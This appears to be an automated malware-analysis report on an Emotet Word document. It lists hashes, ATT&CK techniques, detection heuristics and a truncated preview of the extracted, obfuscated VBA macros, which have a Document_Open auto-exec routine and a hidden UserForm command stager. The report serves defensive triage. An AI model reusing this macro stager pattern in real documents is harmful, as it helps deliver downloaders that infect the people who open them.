Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 d0f7705957c61524…

MALICIOUS

Office (OLE)

186.2 KB Created: 2019-12-17 22:45:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 12402f1b4a24d87e742f9d2583af4c50 SHA-1: c2da674a10ff0e314a104ea7487ec429cdfe12aa SHA-256: d0f7705957c61524b47e2fd8fcb53bf445e58b207807c7bf5e1909a707b1f3b7
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate or Obfuscate Malicious Code

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of Emotet. The ClamAV detection also explicitly names Emotet. The VBA code is heavily obfuscated but the presence of CreateObject and the UserForm stager suggests it is designed to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7461037-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7461037-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9735 bytes
SHA-256: 3baea8be16425240e2f3484135da9c091d5fc90703de6a13d3c467d1d216c669
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Vbhehdliv"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Ljwznvlwu, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Cjhmcdybsyou = Elryzysjj To Hcqyknwpawxuu
         Vphhjwhmrmddh = Sacnvbic
         Retkhqwedc = Cvczpymg
Next
Select Case Yxdxshzunnz
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Tbbkrfkpxts = Irrkkbhiwsji To Gxrrbojytspug
         Cqgiesxykq = Ewircsid
         Crylkxzup = Wtbdzuei
Next
Select Case Bilebkanb
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Zgllkmvk = Zbaitpzwzhn To Osklzgmv
         Mgpalcnndzq = Ssshhpta
         Fxtzbvdptqno = Pnulujhk
Next
Select Case Sshyffonyok
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Xhccdttqxbvro
End Sub

Attribute VB_Name = "Vxdfdcrwj"
Attribute VB_Base = "0{40515FAC-4A97-484C-A341-029BD8B4DCA5}{2253822C-9DF5-4C74-A831-6ECA524CCAC6}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Tqwwmeukgyzyv"
Function Jleffcfkpa()
   For Kdbgwwyqydag = Ybmgybcrhjhcw To Agtwrsrdshlg
         Ebaqhvxmxxs = Vszuapvyxgjj
         Xuymvaddi = Onxoiwezzw
Next
Select Case Nlqgphuqgaoz
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Pwfejdbgj = Vbhehdliv.Ljwznvlwu
   For Gbqmjccf = Ukgwcpiigfxac To Ronmstvco
         Blrttxvaj = Hvjvqaedf
         Esopsqdzh = Tnwqnmafcar
Next
Select Case Rdwdvxkbj
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Mgucxshpvb = Pwfejdbgj + Vxdfdcrwj.Srlycmlhrwyn + Vxdfdcrwj.Tzuhcholw + Vxdfdcrwj.Pxedpvznndsn
   For Xxweblvdv = Bgpjkmqjxf To Bwzbxarhczin
         Tetwzolvhb = Dqtljckeu
         Jydephcy = Bsmpagyhgo
Next
Select Case Qwaorpgdvol
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Gnvjdntetiorn = Mgucxshpvb + Vxdfdcrwj.Eqmuxddymd + Vxdfdcrwj.Kddwgvwrbmt
   For Hhfqmompkvir = Kwkekjgyyvm To Ofbcezclc
         Ddkzwqouytzo = Rknjjkdhf
         Jtdrufhqsa = Hbigsgoprwtno
Next
Select Case Tunwxlpn
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate
... (truncated)